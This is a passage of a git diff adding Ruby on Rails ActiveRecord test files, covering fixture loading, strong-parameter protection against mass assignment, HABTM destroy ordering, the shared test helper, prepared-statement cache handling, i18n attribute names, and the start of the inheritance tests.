+      ActiveRecord::Base.connection_handler.stubs(:retrieve_connection).with("book").returns(connection)
+      message_bus = ActiveSupport::Notifications.instrumenter
+      payload = {
+        spec_name: "book",
+        config: nil,
+        connection_id: connection.object_id
+      }
+
+      message_bus.instrument("!connection.active_record", payload) {}
+    end
+end
+
+class InvalidTableNameFixturesTest < ActiveRecord::TestCase
+  fixtures :funny_jokes
+  # Set to false to blow away fixtures cache and ensure our fixtures are loaded
+  # and thus takes into account our lack of set_fixture_class
+  self.use_transactional_tests = false
+
+  def test_raises_error
+    assert_raise ActiveRecord::FixtureClassNotFound do
+      funny_jokes(:a_joke)
+    end
+  end
+end
+
+class CheckEscapedYamlFixturesTest < ActiveRecord::TestCase
+  set_fixture_class funny_jokes: Joke
+  fixtures :funny_jokes
+  # Set to false to blow away fixtures cache and ensure our fixtures are loaded
+  # and thus takes into account our set_fixture_class
+  self.use_transactional_tests = false
+
+  def test_proper_escaped_fixture
+    assert_equal "The \\n Aristocrats\nAte the candy\n", funny_jokes(:another_joke).name
+  end
+end
+
+class DevelopersProject; end
+class ManyToManyFixturesWithClassDefined < ActiveRecord::TestCase
+  fixtures :developers_projects
+
+  def test_this_should_run_cleanly
+    assert true
+  end
+end
+
+class FixturesBrokenRollbackTest < ActiveRecord::TestCase
+  def blank_setup
+    @fixture_connections = [ActiveRecord::Base.connection]
+  end
+  alias_method :ar_setup_fixtures, :setup_fixtures
+  alias_method :setup_fixtures, :blank_setup
+  alias_method :setup, :blank_setup
+
+  def blank_teardown; end
+  alias_method :ar_teardown_fixtures, :teardown_fixtures
+  alias_method :teardown_fixtures, :blank_teardown
+  alias_method :teardown, :blank_teardown
+
+  def test_no_rollback_in_teardown_unless_transaction_active
+    assert_equal 0, ActiveRecord::Base.connection.open_transactions
+    assert_raise(RuntimeError) { ar_setup_fixtures }
+    assert_equal 0, ActiveRecord::Base.connection.open_transactions
+    assert_nothing_raised { ar_teardown_fixtures }
+    assert_equal 0, ActiveRecord::Base.connection.open_transactions
+  end
+
+  private
+    def load_fixtures(config)
+      raise "argh"
+    end
+end
+
+class LoadAllFixturesTest < ActiveRecord::TestCase
+  def test_all_there
+    self.class.fixture_path = FIXTURES_ROOT + "/all"
+    self.class.fixtures :all
+
+    if File.symlink? FIXTURES_ROOT + "/all/admin"
+      assert_equal %w(admin/accounts admin/users developers namespaced/accounts people tasks), fixture_table_names.sort
+    end
+  ensure
+    ActiveRecord::FixtureSet.reset_cache
+  end
+end
+
+class LoadAllFixturesWithPathnameTest < ActiveRecord::TestCase
+  def test_all_there
+    self.class.fixture_path = Pathname.new(FIXTURES_ROOT).join("all")
+    self.class.fixtures :all
+
+    if File.symlink? FIXTURES_ROOT + "/all/admin"
+      assert_equal %w(admin/accounts admin/users developers namespaced/accounts people tasks), fixture_table_names.sort
+    end
+  ensure
+    ActiveRecord::FixtureSet.reset_cache
+  end
+end
+
+class FasterFixturesTest < ActiveRecord::TestCase
+  self.use_transactional_tests = false
+  fixtures :categories, :authors, :author_addresses
+
+  def load_extra_fixture(name)
+    fixture = create_fixtures(name).first
+    assert fixture.is_a?(ActiveRecord::FixtureSet)
+    @loaded_fixtures[fixture.table_name] = fixture
+  end
+
+  def test_cache
+    assert ActiveRecord::FixtureSet.fixture_is_cached?(ActiveRecord::Base.connection, "categories")
+    assert ActiveRecord::FixtureSet.fixture_is_cached?(ActiveRecord::Base.connection, "authors")
+
+    assert_no_queries do
+      create_fixtures("categories")
+      create_fixtures("authors")
+    end
+
+    load_extra_fixture("posts")
+    assert ActiveRecord::FixtureSet.fixture_is_cached?(ActiveRecord::Base.connection, "posts")
+    self.class.setup_fixture_accessors :posts
+    assert_equal "Welcome to the weblog", posts(:welcome).title
+  end
+end
+
+class FoxyFixturesTest < ActiveRecord::TestCase
+  fixtures :parrots, :parrots_pirates, :pirates, :treasures, :mateys, :ships, :computers,
+           :developers, :"admin/accounts", :"admin/users", :live_parrots, :dead_parrots, :books
+
+  if ActiveRecord::Base.connection.adapter_name == "PostgreSQL"
+    require "models/uuid_parent"
+    require "models/uuid_child"
+    fixtures :uuid_parents, :uuid_children
+  end
+
+  def test_identifies_strings
+    assert_equal(ActiveRecord::FixtureSet.identify("foo"), ActiveRecord::FixtureSet.identify("foo"))
+    assert_not_equal(ActiveRecord::FixtureSet.identify("foo"), ActiveRecord::FixtureSet.identify("FOO"))
+  end
+
+  def test_identifies_symbols
+    assert_equal(ActiveRecord::FixtureSet.identify(:foo), ActiveRecord::FixtureSet.identify(:foo))
+  end
+
+  def test_identifies_consistently
+    assert_equal 207281424, ActiveRecord::FixtureSet.identify(:ruby)
+    assert_equal 1066363776, ActiveRecord::FixtureSet.identify(:sapphire_2)
+
+    assert_equal "f92b6bda-0d0d-5fe1-9124-502b18badded", ActiveRecord::FixtureSet.identify(:daddy, :uuid)
+    assert_equal "b4b10018-ad47-595d-b42f-d8bdaa6d01bf", ActiveRecord::FixtureSet.identify(:sonny, :uuid)
+  end
+
+  TIMESTAMP_COLUMNS = %w(created_at created_on updated_at updated_on)
+
+  def test_populates_timestamp_columns
+    TIMESTAMP_COLUMNS.each do |property|
+      assert_not_nil(parrots(:george).send(property), "should set #{property}")
+    end
+  end
+
+  def test_does_not_populate_timestamp_columns_if_model_has_set_record_timestamps_to_false
+    TIMESTAMP_COLUMNS.each do |property|
+      assert_nil(ships(:black_pearl).send(property), "should not set #{property}")
+    end
+  end
+
+  def test_populates_all_columns_with_the_same_time
+    last = nil
+
+    TIMESTAMP_COLUMNS.each do |property|
+      current = parrots(:george).send(property)
+      last ||= current
+
+      assert_equal(last, current)
+      last = current
+    end
+  end
+
+  def test_only_populates_columns_that_exist
+    assert_not_nil(pirates(:blackbeard).created_on)
+    assert_not_nil(pirates(:blackbeard).updated_on)
+  end
+
+  def test_preserves_existing_fixture_data
+    assert_equal(2.weeks.ago.to_date, pirates(:redbeard).created_on.to_date)
+    assert_equal(2.weeks.ago.to_date, pirates(:redbeard).updated_on.to_date)
+  end
+
+  def test_generates_unique_ids
+    assert_not_nil(parrots(:george).id)
+    assert_not_equal(parrots(:george).id, parrots(:louis).id)
+  end
+
+  def test_automatically_sets_primary_key
+    assert_not_nil(ships(:black_pearl))
+  end
+
+  def test_preserves_existing_primary_key
+    assert_equal(2, ships(:interceptor).id)
+  end
+
+  def test_resolves_belongs_to_symbols
+    assert_equal(parrots(:george), pirates(:blackbeard).parrot)
+  end
+
+  def test_ignores_belongs_to_symbols_if_association_and_foreign_key_are_named_the_same
+    assert_equal(developers(:david), computers(:workstation).developer)
+  end
+
+  def test_supports_join_tables
+    assert(pirates(:blackbeard).parrots.include?(parrots(:george)))
+    assert(pirates(:blackbeard).parrots.include?(parrots(:louis)))
+    assert(parrots(:george).pirates.include?(pirates(:blackbeard)))
+  end
+
+  def test_supports_inline_habtm
+    assert(parrots(:george).treasures.include?(treasures(:diamond)))
+    assert(parrots(:george).treasures.include?(treasures(:sapphire)))
+    assert(!parrots(:george).treasures.include?(treasures(:ruby)))
+  end
+
+  def test_supports_inline_habtm_with_specified_id
+    assert(parrots(:polly).treasures.include?(treasures(:ruby)))
+    assert(parrots(:polly).treasures.include?(treasures(:sapphire)))
+    assert(!parrots(:polly).treasures.include?(treasures(:diamond)))
+  end
+
+  def test_supports_yaml_arrays
+    assert(parrots(:louis).treasures.include?(treasures(:diamond)))
+    assert(parrots(:louis).treasures.include?(treasures(:sapphire)))
+  end
+
+  def test_strips_DEFAULTS_key
+    assert_raise(StandardError) { parrots(:DEFAULTS) }
+
+    # this lets us do YAML defaults and not have an extra fixture entry
+    %w(sapphire ruby).each { |t| assert(parrots(:davey).treasures.include?(treasures(t))) }
+  end
+
+  def test_supports_label_interpolation
+    assert_equal("frederick", parrots(:frederick).name)
+  end
+
+  def test_supports_label_string_interpolation
+    assert_equal("X marks the spot!", pirates(:mark).catchphrase)
+  end
+
+  def test_supports_label_interpolation_for_integer_label
+    assert_equal("#1 pirate!", pirates(1).catchphrase)
+  end
+
+  def test_supports_polymorphic_belongs_to
+    assert_equal(pirates(:redbeard), treasures(:sapphire).looter)
+    assert_equal(parrots(:louis), treasures(:ruby).looter)
+  end
+
+  def test_only_generates_a_pk_if_necessary
+    m = Matey.first
+    m.pirate = pirates(:blackbeard)
+    m.target = pirates(:redbeard)
+  end
+
+  def test_supports_sti
+    assert_kind_of DeadParrot, parrots(:polly)
+    assert_equal pirates(:blackbeard), parrots(:polly).killer
+  end
+
+  def test_supports_sti_with_respective_files
+    assert_kind_of LiveParrot, live_parrots(:dusty)
+    assert_kind_of DeadParrot, dead_parrots(:deadbird)
+    assert_equal pirates(:blackbeard), dead_parrots(:deadbird).killer
+  end
+
+  def test_namespaced_models
+    assert_includes admin_accounts(:signals37).users, admin_users(:david)
+    assert_equal 2, admin_accounts(:signals37).users.size
+  end
+
+  def test_resolves_enums
+    assert books(:awdr).published?
+    assert books(:awdr).read?
+    assert books(:rfr).proposed?
+    assert books(:ddd).published?
+  end
+end
+
+class ActiveSupportSubclassWithFixturesTest < ActiveRecord::TestCase
+  fixtures :parrots
+
+  # This seemingly useless assertion catches a bug that caused the fixtures
+  # setup code call nil[]
+  def test_foo
+    assert_equal parrots(:louis), Parrot.find_by_name("King Louis")
+  end
+end
+
+class CustomNameForFixtureOrModelTest < ActiveRecord::TestCase
+  ActiveRecord::FixtureSet.reset_cache
+
+  set_fixture_class :randomly_named_a9 =>
+                        ClassNameThatDoesNotFollowCONVENTIONS,
+                    :'admin/randomly_named_a9' =>
+                        Admin::ClassNameThatDoesNotFollowCONVENTIONS1,
+                    "admin/randomly_named_b0"  =>
+                        Admin::ClassNameThatDoesNotFollowCONVENTIONS2
+
+  fixtures :randomly_named_a9, "admin/randomly_named_a9",
+           :'admin/randomly_named_b0'
+
+  def test_named_accessor_for_randomly_named_fixture_and_class
+    assert_kind_of ClassNameThatDoesNotFollowCONVENTIONS,
+                   randomly_named_a9(:first_instance)
+  end
+
+  def test_named_accessor_for_randomly_named_namespaced_fixture_and_class
+    assert_kind_of Admin::ClassNameThatDoesNotFollowCONVENTIONS1,
+                   admin_randomly_named_a9(:first_instance)
+    assert_kind_of Admin::ClassNameThatDoesNotFollowCONVENTIONS2,
+                   admin_randomly_named_b0(:second_instance)
+  end
+
+  def test_table_name_is_defined_in_the_model
+    assert_equal "randomly_named_table2", ActiveRecord::FixtureSet::all_loaded_fixtures["admin/randomly_named_a9"].table_name
+    assert_equal "randomly_named_table2", Admin::ClassNameThatDoesNotFollowCONVENTIONS1.table_name
+  end
+end
+
+class FixturesWithDefaultScopeTest < ActiveRecord::TestCase
+  fixtures :bulbs
+
+  test "inserts fixtures excluded by a default scope" do
+    assert_equal 1, Bulb.count
+    assert_equal 2, Bulb.unscoped.count
+  end
+
+  test "allows access to fixtures excluded by a default scope" do
+    assert_equal "special", bulbs(:special).name
+  end
+end
+
+class FixturesWithAbstractBelongsTo < ActiveRecord::TestCase
+  fixtures :pirates, :doubloons
+
+  test "creates fixtures with belongs_to associations defined in abstract base classes" do
+    assert_not_nil doubloons(:blackbeards_doubloon)
+    assert_equal pirates(:blackbeard), doubloons(:blackbeards_doubloon).pirate
+  end
+end
+
+class FixtureClassNamesTest < ActiveRecord::TestCase
+  def setup
+    @saved_cache = fixture_class_names.dup
+  end
+
+  def teardown
+    fixture_class_names.replace(@saved_cache)
+  end
+
+  test "fixture_class_names returns nil for unregistered identifier" do
+    assert_nil fixture_class_names["unregistered_identifier"]
+  end
+end
+
+class SameNameDifferentDatabaseFixturesTest < ActiveRecord::TestCase
+  fixtures :dogs, :other_dogs
+
+  test "fixtures are properly loaded" do
+    # Force loading the fixtures again to reproduce issue
+    ActiveRecord::FixtureSet.reset_cache
+    create_fixtures("dogs", "other_dogs")
+
+    assert_kind_of Dog, dogs(:sophie)
+    assert_kind_of OtherDog, other_dogs(:lassie)
+  end
+end
diff --git a/activerecord/test/cases/forbidden_attributes_protection_test.rb b/activerecord/test/cases/forbidden_attributes_protection_test.rb
new file mode 100644
index 0000000000..101fa118c8
--- /dev/null
+++ b/activerecord/test/cases/forbidden_attributes_protection_test.rb
@@ -0,0 +1,166 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "active_support/core_ext/hash/indifferent_access"
+
+require "models/company"
+require "models/person"
+require "models/ship"
+require "models/ship_part"
+require "models/treasure"
+
+class ProtectedParams
+  attr_accessor :permitted
+  alias :permitted? :permitted
+
+  delegate :keys, :key?, :has_key?, :empty?, to: :@parameters
+
+  def initialize(attributes)
+    @parameters = attributes.with_indifferent_access
+    @permitted = false
+  end
+
+  def permit!
+    @permitted = true
+    self
+  end
+
+  def [](key)
+    @parameters[key]
+  end
+
+  def to_h
+    @parameters
+  end
+
+  def stringify_keys
+    dup
+  end
+
+  def dup
+    super.tap do |duplicate|
+      duplicate.instance_variable_set :@permitted, @permitted
+    end
+  end
+end
+
+class ForbiddenAttributesProtectionTest < ActiveRecord::TestCase
+  def test_forbidden_attributes_cannot_be_used_for_mass_assignment
+    params = ProtectedParams.new(first_name: "Guille", gender: "m")
+    assert_raises(ActiveModel::ForbiddenAttributesError) do
+      Person.new(params)
+    end
+  end
+
+  def test_permitted_attributes_can_be_used_for_mass_assignment
+    params = ProtectedParams.new(first_name: "Guille", gender: "m")
+    params.permit!
+    person = Person.new(params)
+
+    assert_equal "Guille", person.first_name
+    assert_equal "m", person.gender
+  end
+
+  def test_forbidden_attributes_cannot_be_used_for_sti_inheritance_column
+    params = ProtectedParams.new(type: "Client")
+    assert_raises(ActiveModel::ForbiddenAttributesError) do
+      Company.new(params)
+    end
+  end
+
+  def test_permitted_attributes_can_be_used_for_sti_inheritance_column
+    params = ProtectedParams.new(type: "Client")
+    params.permit!
+    person = Company.new(params)
+    assert_equal person.class, Client
+  end
+
+  def test_regular_hash_should_still_be_used_for_mass_assignment
+    person = Person.new(first_name: "Guille", gender: "m")
+
+    assert_equal "Guille", person.first_name
+    assert_equal "m", person.gender
+  end
+
+  def test_blank_attributes_should_not_raise
+    person = Person.new
+    assert_nil person.assign_attributes(ProtectedParams.new({}))
+  end
+
+  def test_create_with_checks_permitted
+    params = ProtectedParams.new(first_name: "Guille", gender: "m")
+
+    assert_raises(ActiveModel::ForbiddenAttributesError) do
+      Person.create_with(params).create!
+    end
+  end
+
+  def test_create_with_works_with_permitted_params
+    params = ProtectedParams.new(first_name: "Guille").permit!
+
+    person = Person.create_with(params).create!
+    assert_equal "Guille", person.first_name
+  end
+
+  def test_create_with_works_with_params_values
+    params = ProtectedParams.new(first_name: "Guille")
+
+    person = Person.create_with(first_name: params[:first_name]).create!
+    assert_equal "Guille", person.first_name
+  end
+
+  def test_where_checks_permitted
+    params = ProtectedParams.new(first_name: "Guille", gender: "m")
+
+    assert_raises(ActiveModel::ForbiddenAttributesError) do
+      Person.where(params).create!
+    end
+  end
+
+  def test_where_works_with_permitted_params
+    params = ProtectedParams.new(first_name: "Guille").permit!
+
+    person = Person.where(params).create!
+    assert_equal "Guille", person.first_name
+  end
+
+  def test_where_works_with_params_values
+    params = ProtectedParams.new(first_name: "Guille")
+
+    person = Person.where(first_name: params[:first_name]).create!
+    assert_equal "Guille", person.first_name
+  end
+
+  def test_where_not_checks_permitted
+    params = ProtectedParams.new(first_name: "Guille", gender: "m")
+
+    assert_raises(ActiveModel::ForbiddenAttributesError) do
+      Person.where().not(params)
+    end
+  end
+
+  def test_where_not_works_with_permitted_params
+    params = ProtectedParams.new(first_name: "Guille").permit!
+    Person.create!(params)
+    assert_empty Person.where.not(params).select { |p| p.first_name == "Guille" }
+  end
+
+  def test_strong_params_style_objects_work_with_singular_associations
+    params = ProtectedParams.new(name: "Stern", ship_attributes: ProtectedParams.new(name: "The Black Rock").permit!).permit!
+    part = ShipPart.new(params)
+
+    assert_equal "Stern", part.name
+    assert_equal "The Black Rock", part.ship.name
+  end
+
+  def test_strong_params_style_objects_work_with_collection_associations
+    params = ProtectedParams.new(
+      trinkets_attributes: ProtectedParams.new(
+        "0" => ProtectedParams.new(name: "Necklace").permit!,
+        "1" => ProtectedParams.new(name: "Spoon").permit!)).permit!
+    part = ShipPart.new(params)
+
+    assert_equal "Necklace", part.trinkets[0].name
+    assert_equal "Spoon", part.trinkets[1].name
+  end
+end
diff --git a/activerecord/test/cases/habtm_destroy_order_test.rb b/activerecord/test/cases/habtm_destroy_order_test.rb
new file mode 100644
index 0000000000..5e503272e1
--- /dev/null
+++ b/activerecord/test/cases/habtm_destroy_order_test.rb
@@ -0,0 +1,63 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/lesson"
+require "models/student"
+
+class HabtmDestroyOrderTest < ActiveRecord::TestCase
+  test "may not delete a lesson with students" do
+    sicp = Lesson.new(name: "SICP")
+    ben = Student.new(name: "Ben Bitdiddle")
+    sicp.students << ben
+    sicp.save!
+    assert_raises LessonError do
+      assert_no_difference("Lesson.count") do
+        sicp.destroy
+      end
+    end
+    assert !sicp.destroyed?
+  end
+
+  test "should not raise error if have foreign key in the join table" do
+    student = Student.new(name: "Ben Bitdiddle")
+    lesson = Lesson.new(name: "SICP")
+    lesson.students << student
+    lesson.save!
+    assert_nothing_raised do
+      student.destroy
+    end
+  end
+
+  test "not destroying a student with lessons leaves student<=>lesson association intact" do
+    # test a normal before_destroy doesn't destroy the habtm joins
+    begin
+      sicp = Lesson.new(name: "SICP")
+      ben = Student.new(name: "Ben Bitdiddle")
+      # add a before destroy to student
+      Student.class_eval do
+        before_destroy do
+          raise ActiveRecord::Rollback unless lessons.empty?
+        end
+      end
+      ben.lessons << sicp
+      ben.save!
+      ben.destroy
+      assert !ben.reload.lessons.empty?
+    ensure
+      # get rid of it so Student is still like it was
+      Student.reset_callbacks(:destroy)
+    end
+  end
+
+  test "not destroying a lesson with students leaves student<=>lesson association intact" do
+    # test a more aggressive before_destroy  doesn't destroy the habtm joins and still throws the exception
+    sicp = Lesson.new(name: "SICP")
+    ben = Student.new(name: "Ben Bitdiddle")
+    sicp.students << ben
+    sicp.save!
+    assert_raises LessonError do
+      sicp.destroy
+    end
+    assert !sicp.reload.students.empty?
+  end
+end
diff --git a/activerecord/test/cases/helper.rb b/activerecord/test/cases/helper.rb
new file mode 100644
index 0000000000..36fc143a31
--- /dev/null
+++ b/activerecord/test/cases/helper.rb
@@ -0,0 +1,185 @@
+# frozen_string_literal: true
+
+require "config"
+
+require "stringio"
+
+require "active_record"
+require "cases/test_case"
+require "active_support/dependencies"
+require "active_support/logger"
+
+require "support/config"
+require "support/connection"
+
+# TODO: Move all these random hacks into the ARTest namespace and into the support/ dir
+
+Thread.abort_on_exception = true
+
+# Show backtraces for deprecated behavior for quicker cleanup.
+ActiveSupport::Deprecation.debug = true
+
+# Disable available locale checks to avoid warnings running the test suite.
+I18n.enforce_available_locales = false
+
+# Connect to the database
+ARTest.connect
+
+# Quote "type" if it's a reserved word for the current connection.
+QUOTED_TYPE = ActiveRecord::Base.connection.quote_column_name("type")
+
+def current_adapter?(*types)
+  types.any? do |type|
+    ActiveRecord::ConnectionAdapters.const_defined?(type) &&
+      ActiveRecord::Base.connection.is_a?(ActiveRecord::ConnectionAdapters.const_get(type))
+  end
+end
+
+def in_memory_db?
+  current_adapter?(:SQLite3Adapter) &&
+  ActiveRecord::Base.connection_pool.spec.config[:database] == ":memory:"
+end
+
+def subsecond_precision_supported?
+  ActiveRecord::Base.connection.supports_datetime_with_precision?
+end
+
+def mysql_enforcing_gtid_consistency?
+  current_adapter?(:Mysql2Adapter) && "ON" == ActiveRecord::Base.connection.show_variable("enforce_gtid_consistency")
+end
+
+def supports_savepoints?
+  ActiveRecord::Base.connection.supports_savepoints?
+end
+
+def with_env_tz(new_tz = "US/Eastern")
+  old_tz, ENV["TZ"] = ENV["TZ"], new_tz
+  yield
+ensure
+  old_tz ? ENV["TZ"] = old_tz : ENV.delete("TZ")
+end
+
+def with_timezone_config(cfg)
+  verify_default_timezone_config
+
+  old_default_zone = ActiveRecord::Base.default_timezone
+  old_awareness = ActiveRecord::Base.time_zone_aware_attributes
+  old_zone = Time.zone
+
+  if cfg.has_key?(:default)
+    ActiveRecord::Base.default_timezone = cfg[:default]
+  end
+  if cfg.has_key?(:aware_attributes)
+    ActiveRecord::Base.time_zone_aware_attributes = cfg[:aware_attributes]
+  end
+  if cfg.has_key?(:zone)
+    Time.zone = cfg[:zone]
+  end
+  yield
+ensure
+  ActiveRecord::Base.default_timezone = old_default_zone
+  ActiveRecord::Base.time_zone_aware_attributes = old_awareness
+  Time.zone = old_zone
+end
+
+# This method makes sure that tests don't leak global state related to time zones.
+EXPECTED_ZONE = nil
+EXPECTED_DEFAULT_TIMEZONE = :utc
+EXPECTED_TIME_ZONE_AWARE_ATTRIBUTES = false
+def verify_default_timezone_config
+  if Time.zone != EXPECTED_ZONE
+    $stderr.puts <<-MSG
+\n#{self}
+    Global state `Time.zone` was leaked.
+      Expected: #{EXPECTED_ZONE}
+      Got: #{Time.zone}
+    MSG
+  end
+  if ActiveRecord::Base.default_timezone != EXPECTED_DEFAULT_TIMEZONE
+    $stderr.puts <<-MSG
+\n#{self}
+    Global state `ActiveRecord::Base.default_timezone` was leaked.
+      Expected: #{EXPECTED_DEFAULT_TIMEZONE}
+      Got: #{ActiveRecord::Base.default_timezone}
+    MSG
+  end
+  if ActiveRecord::Base.time_zone_aware_attributes != EXPECTED_TIME_ZONE_AWARE_ATTRIBUTES
+    $stderr.puts <<-MSG
+\n#{self}
+    Global state `ActiveRecord::Base.time_zone_aware_attributes` was leaked.
+      Expected: #{EXPECTED_TIME_ZONE_AWARE_ATTRIBUTES}
+      Got: #{ActiveRecord::Base.time_zone_aware_attributes}
+    MSG
+  end
+end
+
+def enable_extension!(extension, connection)
+  return false unless connection.supports_extensions?
+  return connection.reconnect! if connection.extension_enabled?(extension)
+
+  connection.enable_extension extension
+  connection.commit_db_transaction if connection.transaction_open?
+  connection.reconnect!
+end
+
+def disable_extension!(extension, connection)
+  return false unless connection.supports_extensions?
+  return true unless connection.extension_enabled?(extension)
+
+  connection.disable_extension extension
+  connection.reconnect!
+end
+
+def load_schema
+  # silence verbose schema loading
+  original_stdout = $stdout
+  $stdout = StringIO.new
+
+  adapter_name = ActiveRecord::Base.connection.adapter_name.downcase
+  adapter_specific_schema_file = SCHEMA_ROOT + "/#{adapter_name}_specific_schema.rb"
+
+  load SCHEMA_ROOT + "/schema.rb"
+
+  if File.exist?(adapter_specific_schema_file)
+    load adapter_specific_schema_file
+  end
+ensure
+  $stdout = original_stdout
+end
+
+load_schema
+
+class SQLSubscriber
+  attr_reader :logged
+  attr_reader :payloads
+
+  def initialize
+    @logged = []
+    @payloads = []
+  end
+
+  def start(name, id, payload)
+    @payloads << payload
+    @logged << [payload[:sql].squish, payload[:name], payload[:binds]]
+  end
+
+  def finish(name, id, payload); end
+end
+
+module InTimeZone
+  private
+
+    def in_time_zone(zone)
+      old_zone  = Time.zone
+      old_tz    = ActiveRecord::Base.time_zone_aware_attributes
+
+      Time.zone = zone ? ActiveSupport::TimeZone[zone] : nil
+      ActiveRecord::Base.time_zone_aware_attributes = !zone.nil?
+      yield
+    ensure
+      Time.zone = old_zone
+      ActiveRecord::Base.time_zone_aware_attributes = old_tz
+    end
+end
+
+require "mocha/setup" # FIXME: stop using mocha
diff --git a/activerecord/test/cases/hot_compatibility_test.rb b/activerecord/test/cases/hot_compatibility_test.rb
new file mode 100644
index 0000000000..e7778af55b
--- /dev/null
+++ b/activerecord/test/cases/hot_compatibility_test.rb
@@ -0,0 +1,144 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "support/connection_helper"
+
+class HotCompatibilityTest < ActiveRecord::TestCase
+  self.use_transactional_tests = false
+  include ConnectionHelper
+
+  setup do
+    @klass = Class.new(ActiveRecord::Base) do
+      connection.create_table :hot_compatibilities, force: true do |t|
+        t.string :foo
+        t.string :bar
+      end
+
+      def self.name; "HotCompatibility"; end
+    end
+  end
+
+  teardown do
+    ActiveRecord::Base.connection.drop_table :hot_compatibilities
+  end
+
+  test "insert after remove_column" do
+    # warm cache
+    @klass.create!
+
+    # we have 3 columns
+    assert_equal 3, @klass.columns.length
+
+    # remove one of them
+    @klass.connection.remove_column :hot_compatibilities, :bar
+
+    # we still have 3 columns in the cache
+    assert_equal 3, @klass.columns.length
+
+    # but we can successfully create a record so long as we don't
+    # reference the removed column
+    record = @klass.create! foo: "foo"
+    record.reload
+    assert_equal "foo", record.foo
+  end
+
+  test "update after remove_column" do
+    record = @klass.create! foo: "foo"
+    assert_equal 3, @klass.columns.length
+    @klass.connection.remove_column :hot_compatibilities, :bar
+    assert_equal 3, @klass.columns.length
+
+    record.reload
+    assert_equal "foo", record.foo
+    record.foo = "bar"
+    record.save!
+    record.reload
+    assert_equal "bar", record.foo
+  end
+
+  if current_adapter?(:PostgreSQLAdapter)
+    test "cleans up after prepared statement failure in a transaction" do
+      with_two_connections do |original_connection, ddl_connection|
+        record = @klass.create! bar: "bar"
+
+        # prepare the reload statement in a transaction
+        @klass.transaction do
+          record.reload
+        end
+
+        assert get_prepared_statement_cache(@klass.connection).any?,
+          "expected prepared statement cache to have something in it"
+
+        # add a new column
+        ddl_connection.add_column :hot_compatibilities, :baz, :string
+
+        assert_raise(ActiveRecord::PreparedStatementCacheExpired) do
+          @klass.transaction do
+            record.reload
+          end
+        end
+
+        assert_empty get_prepared_statement_cache(@klass.connection),
+          "expected prepared statement cache to be empty but it wasn't"
+      end
+    end
+
+    test "cleans up after prepared statement failure in nested transactions" do
+      with_two_connections do |original_connection, ddl_connection|
+        record = @klass.create! bar: "bar"
+
+        # prepare the reload statement in a transaction
+        @klass.transaction do
+          record.reload
+        end
+
+        assert get_prepared_statement_cache(@klass.connection).any?,
+          "expected prepared statement cache to have something in it"
+
+        # add a new column
+        ddl_connection.add_column :hot_compatibilities, :baz, :string
+
+        assert_raise(ActiveRecord::PreparedStatementCacheExpired) do
+          @klass.transaction do
+            @klass.transaction do
+              @klass.transaction do
+                record.reload
+              end
+            end
+          end
+        end
+
+        assert_empty get_prepared_statement_cache(@klass.connection),
+          "expected prepared statement cache to be empty but it wasn't"
+      end
+    end
+  end
+
+  private
+
+    def get_prepared_statement_cache(connection)
+      connection.instance_variable_get(:@statements)
+        .instance_variable_get(:@cache)[Process.pid]
+    end
+
+    # Rails will automatically clear the prepared statements on the connection
+    # that runs the migration, so we use two connections to simulate what would
+    # actually happen on a production system; we'd have one connection running the
+    # migration from the rake task ("ddl_connection" here), and we'd have another
+    # connection in a web worker.
+    def with_two_connections
+      run_without_connection do |original_connection|
+        ActiveRecord::Base.establish_connection(original_connection.merge(pool_size: 2))
+        begin
+          ddl_connection = ActiveRecord::Base.connection_pool.checkout
+          begin
+            yield original_connection, ddl_connection
+          ensure
+            ActiveRecord::Base.connection_pool.checkin ddl_connection
+          end
+        ensure
+          ActiveRecord::Base.clear_all_connections!
+        end
+      end
+    end
+end
diff --git a/activerecord/test/cases/i18n_test.rb b/activerecord/test/cases/i18n_test.rb
new file mode 100644
index 0000000000..22981c142a
--- /dev/null
+++ b/activerecord/test/cases/i18n_test.rb
@@ -0,0 +1,46 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/topic"
+require "models/reply"
+
+class ActiveRecordI18nTests < ActiveRecord::TestCase
+  def setup
+    I18n.backend = I18n::Backend::Simple.new
+  end
+
+  def test_translated_model_attributes
+    I18n.backend.store_translations "en", activerecord: { attributes: { topic: { title: "topic title attribute" } } }
+    assert_equal "topic title attribute", Topic.human_attribute_name("title")
+  end
+
+  def test_translated_model_attributes_with_symbols
+    I18n.backend.store_translations "en", activerecord: { attributes: { topic: { title: "topic title attribute" } } }
+    assert_equal "topic title attribute", Topic.human_attribute_name(:title)
+  end
+
+  def test_translated_model_attributes_with_sti
+    I18n.backend.store_translations "en", activerecord: { attributes: { reply: { title: "reply title attribute" } } }
+    assert_equal "reply title attribute", Reply.human_attribute_name("title")
+  end
+
+  def test_translated_model_attributes_with_sti_fallback
+    I18n.backend.store_translations "en", activerecord: { attributes: { topic: { title: "topic title attribute" } } }
+    assert_equal "topic title attribute", Reply.human_attribute_name("title")
+  end
+
+  def test_translated_model_names
+    I18n.backend.store_translations "en", activerecord: { models: { topic: "topic model" } }
+    assert_equal "topic model", Topic.model_name.human
+  end
+
+  def test_translated_model_names_with_sti
+    I18n.backend.store_translations "en", activerecord: { models: { reply: "reply model" } }
+    assert_equal "reply model", Reply.model_name.human
+  end
+
+  def test_translated_model_names_with_sti_fallback
+    I18n.backend.store_translations "en", activerecord: { models: { topic: "topic model" } }
+    assert_equal "topic model", Reply.model_name.human
+  end
+end
diff --git a/activerecord/test/cases/inheritance_test.rb b/activerecord/test/cases/inheritance_test.rb
new file mode 100644
index 0000000000..a263106f6d
--- /dev/null
+++ b/activerecord/test/cases/inheritance_test.rb
@@ -0,0 +1,608 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/author"
+require "models/company"
+require "models/membership"
+require "models/person"
+require "models/post"
+require "models/project"
+require "models/subscriber"
+require "models/vegetables"
+require "models/shop"
+require "models/sponsor"
+
+module InheritanceTestHelper
+  def with_store_full_sti_class(&block)
+    assign_store_full_sti_class true, &block
+  end
+
+  def without_store_full_sti_class(&block)
+    assign_store_full_sti_class false, &block
+  end
+
+  def assign_store_full_sti_class(flag)
+    old_store_full_sti_class = ActiveRecord::Base.store_full_sti_class
+    ActiveRecord::Base.store_full_sti_class = flag
+    yield
+  ensure
+    ActiveRecord::Base.store_full_sti_class = old_store_full_sti_class
+  end
+end
+
+class InheritanceTest < ActiveRecord::TestCase
+  include InheritanceTestHelper
+  fixtures :companies, :projects, :subscribers, :accounts, :vegetables, :memberships
+
+  def test_class_with_store_full_sti_class_returns_full_name
